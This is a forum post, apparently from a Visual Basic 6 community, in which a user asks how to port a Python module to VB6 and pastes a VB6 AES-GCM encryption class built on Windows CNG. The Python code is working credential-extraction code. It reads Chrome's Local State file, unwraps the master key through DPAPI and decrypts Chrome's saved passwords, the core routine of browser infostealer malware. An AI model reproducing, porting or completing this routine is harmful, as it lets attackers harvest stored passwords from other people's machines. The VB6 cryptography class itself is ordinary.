[RESOLVED] clsCrypt.cls

[LeandroA]

Hi, I am trying to pass a module from (unknown language) to vb6, and I found clsCrypt.cls that I think could fulfill the function of said language, but I don't understand how to apply it.

import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil

def get_master_key():
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key


def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)


def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)


def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        # print("Probably saved password from version older than v80\n")
        # print(str(e))
        return "version < 80"

how am i supposed to call this line AES.new(aes_key, AES.MODE_GCM, iv)

clsCrypt.cls

Option Explicit
'================================
'EVENTS
'================================
Public Event Error(ByVal Number As Long, Description As String, ByVal Source As String)

'BCryptGetProperty strings (subset used here).
Private Const MS_PRIMITIVE_PROVIDER As String = "Microsoft Primitive Provider"
Private Const BCRYPT_BLOCK_PADDING As Long = &H1    'BCryptEncrypt/Decrypt
Private Const BCRYPT_OBJECT_LENGTH As String = "ObjectLength"
Private Const BCRYPT_HASH_LENGTH As String = "HashDigestLength"
Private Const BCRYPT_BLOCK_LENGTH As String = "BlockLength"
Private Const BCRYPT_CHAINING_MODE As String = "ChainingMode"
Private Const BCRYPT_CHAIN_MODE_GCM As String = "ChainingModeGCM"
Private Const BCRYPT_CHAIN_MODE_CBC As String = "ChainingModeCBC"
Private Const BCRYPT_CHAIN_MODE_ECB As String = "ChainingModeECB"
Private Const BCRYPT_AUTH_TAG_LENGTH As String = "AuthTagLength"

'Constants for Cryptography API error messages
'Private Const CCAP As String = "BCryptCloseAlgorithmProvider"
Private Const CCH As String = "BCryptCreateHash"
Private Const CD As String = "BCryptDecrypt"
'Private Const CDH As String = "BCryptDestroyHash"
'Private Const CDK As String = "BCryptDestroyKey"
'Private Const CDRK As String = "BCryptDerivrKey"
Private Const CE As String = "BCryptEncrypt"
'Private Const CEA As String = "BCryptEnumAlgorithms"
'Private Const CEK As String = "BCryptExportKey"
'Private Const CFKP As String = "BCryptFinalizeKeyPair"
Private Const CFH As String = "BCryptFinishHash"
'Private Const CGKP As String = "BCryptGenerateKeyPair"
Private Const CGP As String = "BCryptGetProperty"
'Private Const CGR As String = "BCryptGenRandom"
Private Const CGSK As String = "BCryptGenerateSymmetricKey"
Private Const CHD As String = "BCryptHashData"
'Private Const CIKP As String = "BCryptImportKeyPair"
Private Const COAP As String = "BCryptOpenAlgorithmProvider"
'Private Const CSA As String = "BCryptSecretAgreement"
'Private Const CSH As String = "BCryptSignHash"
'Private Const CSP As String = "BCryptSetProperty"
'Private Const CVS As String = "BCryptVerifySignature"
Private Const CDuH As String = "BCryptDuplicateHash"

'CNG API Declares
Private Declare Function BCryptOpenAlgorithmProvider Lib "bcrypt" (ByRef hAlgorithm As Long, ByVal pszAlgId As Long, ByVal pszImplementation As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptCloseAlgorithmProvider Lib "bcrypt" (ByVal hAlgorithm As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDestroyKey Lib "bcrypt" (ByVal hAesKey As Long) As Long
Private Declare Function BCryptGetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptSetProperty Lib "bcrypt" (ByVal hObject As Long, ByVal pszProperty As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptGenerateSymmetricKey Lib "bcrypt" (ByVal hAlgorithm As Long, ByRef hKey As Long, ByVal pbKeyObject As Long, ByVal cbKeyObject As Long, ByVal pbSecret As Long, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptEncrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long
Private Declare Function BCryptDecrypt Lib "bcrypt" (ByVal hKey As Long, ByVal pbInput As Long, ByVal cbInput As Long, ByVal pPaddingInfo As Long, ByVal pbIV As Long, ByVal cbIV As Long, ByVal pbOutput As Long, ByVal cbOutput As Long, ByRef cbResult As Long, ByVal dwFlags As Long) As Long

'CNG Buffers
Private bIV() As Byte
Private bKey() As Byte
Private bReadIV() As Byte
Private bReadKey() As Byte
Private bInBuffer() As Byte
Private bOutBuffer() As Byte

'Counters
Private SEND_SEQ_NUM() As Byte
Private RECV_SEQ_NUM() As Byte

Private Type BCRYPT_KEY_LENGTHS_STRUCT
    dwMinLength As Long
    dwMaxLength As Long
    dwIncrement As Long
End Type

'Because VB6 does not support 64 bit (8 byte) long values, cbData has to be configured as
'a byte array. This structure is used repeatedly, and because the structure itself is not
'evenly devisible by 8, an additional long (lPad2) has been added to it.
Private Type BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
    cbSize          As Long
    dwInfoVersion   As Long
    pbNonce         As Long
    cbNonce         As Long
    pbAuthData      As Long
    cbAuthData      As Long
    pbTag           As Long
    cbTag           As Long
    pbMacContext    As Long
    cbMacContext    As Long
    cbAAD           As Long
    lPad            As Long
    cbData(7)       As Byte
    dwFlags         As Long
    lPad2           As Long
End Type

Public Function CryptData(sAlg As String, DeCrypt As Boolean) As Boolean
    Const Routine As String = "clsCrypt.CryptData"
    Dim hAlgorithm As Long 'Handle to algorithm sAlg"
    Dim hKey As Long 'Handle to Key
    Dim cbBlock As Long 'Encryption Block Size
    Dim bBuffer() As Byte 'Buffer for encryption object
    Dim authTagLengths As BCRYPT_KEY_LENGTHS_STRUCT 'Accepted lengths (12 to 16 step 1)
    Dim authInfo As BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO 'Structure for Authenticated Encryption
    Dim pbOutput As Long 'Object length
    Dim cbResult As Long 'General use result
    Dim cbBytes As Long 'Input buffer size
    Dim dwFlags As Long 'Not used here - defaults to 0
    Dim Nonce() As Byte 'Nonce used in Galois/counter_mode (GCM)
    Dim authTag() As Byte 'Buffer for authenticated Tag
    Dim SeqNum() As Byte
    Dim lRet As Long 'API call return value
    Dim N% 'Counter
    ReDim Nonce(11) '12 byte Nonce set to all zeros
    ReDim authTag(15) 'authTag cleared
    'Recover handle to encryption algorithm
    lRet = BCryptOpenAlgorithmProvider(hAlgorithm, StrPtr(sAlg), StrPtr(MS_PRIMITIVE_PROVIDER), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, COAP, Routine)
        GoTo ReleaseHandles
    End If
    'Get length of encryption object
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_OBJECT_LENGTH), VarPtr(pbOutput), 4, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    'Set the chaining mode (GCM)
    lRet = BCryptSetProperty(hAlgorithm, StrPtr(BCRYPT_CHAINING_MODE), StrPtr(BCRYPT_CHAIN_MODE_GCM), LenB(BCRYPT_CHAIN_MODE_GCM), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGSK, Routine)
        GoTo ReleaseHandles
    End If
    'Recover Block length
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_BLOCK_LENGTH), VarPtr(cbBlock), 4, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    'Get the allowed Tag lengths (generally 12 bytes)
    lRet = BCryptGetProperty(hAlgorithm, StrPtr(BCRYPT_AUTH_TAG_LENGTH), VarPtr(authTagLengths), 12, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGP, Routine)
        GoTo ReleaseHandles
    End If
    ReDim bBuffer(pbOutput - 1) 'Clear the Object buffer
    'Generate the Object key information
    lRet = BCryptGenerateSymmetricKey(hAlgorithm, hKey, VarPtr(bBuffer(0)), GetbSize(bBuffer), VarPtr(bKey(0)), GetbSize(bKey), dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CGSK, Routine)
        GoTo ReleaseHandles
    End If
    cbBytes = GetbSize(bInBuffer) 'Set the input buffer size
    If GetbSize(SEND_SEQ_NUM) < 8 Then ReDim SEND_SEQ_NUM(11) 'Initialize Sequence Number to all zeros
    If GetbSize(RECV_SEQ_NUM) < 8 Then ReDim RECV_SEQ_NUM(11) 'Initialize Sequence Number to all zeros
    If DeCrypt Then
        SeqNum = RECV_SEQ_NUM
    Else
        SeqNum = SEND_SEQ_NUM
    End If
    For N% = 0 To UBound(bIV) 'Create Nonce by combining the Handshake IV and Sequence Number
       Nonce(N%) = bIV(N%) Xor SeqNum(N%)
    Next N%
    'Get the encrypted length - should be same as Input length
    'Even though AES is considered a Block Cipher, in GCM mode it is considered a Stream cipher
    lRet = BCryptEncrypt(hKey, VarPtr(bInBuffer(0)), cbBytes, 0&, VarPtr(bIV(0)), cbBlock, 0&, 0, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CE, Routine)
        GoTo ReleaseHandles
    End If
    'Populate authInfo structure
    authInfo.cbSize = Len(authInfo)
    authInfo.dwInfoVersion = 1
    authInfo.pbNonce = VarPtr(Nonce(0))
    authInfo.cbNonce = GetbSize(Nonce)
    authInfo.pbTag = VarPtr(authTag(0))
    authInfo.cbTag = GetbSize(authTag)
    ReDim bOutBuffer(cbResult - 1) 'Set the ouput buffer size
    'Encrypt the data
    lRet = BCryptEncrypt(hKey, VarPtr(bInBuffer(0)), cbBytes, VarPtr(authInfo), VarPtr(bIV(0)), 12, VarPtr(bOutBuffer(0)), cbResult, cbResult, dwFlags)
    If lRet <> 0 Then
        RaiseEvent Error(lRet, CE, Routine)
        GoTo ReleaseHandles
    End If
    If DeCrypt Then
        IncRecvSeqNum 'Advance the Receive Sequence Number
    Else
        IncSendSeqNum 'Advance the Send Sequence Number
    End If
    CryptData = True 'Success
ReleaseHandles:
    BCryptDestroyKey hKey
    BCryptCloseAlgorithmProvider hAlgorithm, 0
End Function

Public Sub IncRecvSeqNum(Optional flgClear As Boolean)
    Dim N%
    If flgClear Then
        ReDim RECV_SEQ_NUM(11)
        Exit Sub
    End If
    For N% = 11 To 7 Step -1
        If N% = 7 Then
            ReDim RECV_SEQ_NUM(11)
            Exit Sub
        End If
        If RECV_SEQ_NUM(N%) = 255 Then
            RECV_SEQ_NUM(N%) = 0
        Else
            RECV_SEQ_NUM(N%) = RECV_SEQ_NUM(N%) + 1
            Exit For
        End If
    Next N%
    Debug.Print RECV_SEQ_NUM(8); RECV_SEQ_NUM(9); RECV_SEQ_NUM(10); RECV_SEQ_NUM(11)
End Sub

Public Sub IncSendSeqNum(Optional flgClear As Boolean)
    Dim N%
    If flgClear Then
        ReDim SEND_SEQ_NUM(11)
        Exit Sub
    End If
    For N% = 11 To 7 Step -1
        If N% = 7 Then
            ReDim SEND_SEQ_NUM(11)
            Exit Sub
        End If
        If SEND_SEQ_NUM(N%) = 255 Then
            SEND_SEQ_NUM(N%) = 0
        Else
            SEND_SEQ_NUM(N%) = SEND_SEQ_NUM(N%) + 1
            Exit For
        End If
    Next N%
    Debug.Print SEND_SEQ_NUM(8); SEND_SEQ_NUM(9); SEND_SEQ_NUM(10); SEND_SEQ_NUM(11)
End Sub

Public Property Get IV() As Byte()
    IV = bIV
End Property

Public Property Let IV(bNewValue() As Byte)
    bIV = bNewValue
End Property

Public Property Get Key() As Byte()
    Key = bKey
End Property

Public Property Let Key(bNewValue() As Byte)
    bKey = bNewValue
End Property

Public Property Get InBuffer() As Byte()
    InBuffer = bInBuffer
End Property

Public Property Let InBuffer(bNewValue() As Byte)
    bInBuffer = bNewValue
End Property

Public Property Get OutBuffer() As Byte()
    OutBuffer = bOutBuffer
End Property

Public Property Let OutBuffer(bNewValue() As Byte)
    bOutBuffer = bNewValue
End Property

thanks for your help, sorry if anyone offends this post (crypto)